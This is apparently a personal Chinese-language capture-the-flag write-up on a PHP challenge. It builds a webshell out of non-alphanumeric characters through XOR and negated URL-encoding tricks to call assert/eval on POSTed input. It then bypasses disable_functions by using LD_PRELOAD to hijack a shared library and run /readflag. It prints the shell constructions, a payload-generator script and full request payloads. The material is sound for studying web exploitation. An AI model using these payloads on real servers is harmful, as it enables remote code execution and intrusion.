前言
关键字:[无字母数字shell|ld_preload|disable_function]
以前做的题,现在再看之前写的记录,太逗乐了,当时怎么那么多迷惑操作呢
题解
一开始是想着无参webshell,还写了好久的fuzz代码
得 没用,代码写的也不好。
果然花个半个多小时做不出就直接看WP
浪费了三个小时,离谱
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
这是最低限度了,需要先把POST这几个字符拼接好
?shell=$='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');assert($$[_]);
最低限度都得五六十,这40长度肯定是不行的。当时想到这就该明白了
可惜一直没觉悟,浪费半天时间。
2021年7月20日20:12:48 这并非最简,具体可看最简情况的字符考量
这题还是得URL编码取反绕过
<?php
error_reporting(0);
$a = 'assert';
//这里不能是eval,因为eval非函数而是PHP语法构造一部分。本质是先取反转换字符串,然后通过[变量函数+括号]来调用函数,最内层的eval()是字符串,用assert将其变成命令,执行接收字符串,再被最外层的eval执行。
$b = urlencode(~$a);
$c = '(eval($_POST[cmd]))';
$d = urlencode(~$c);
echo '(~' . $b . ')(~' . $d . ');';
关于变量函数具体见刷题笔记:[SUCTF 2018]GetShell
连接蚁剑,得,无权限看flag。
disable_function bypass
利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
找个有上传权限的目录上传文件
网上抄来的paylaod
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
等价于:
?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
因为只有/var/tmp有上传权限,所以用assert(include('/var/tmp/bypass_disablefunc.php'))
的形式,等同于直接访问bypass_disablefunc.php
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
参考链接
https://blog.csdn.net/mochu7777777/article/details/104631142
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD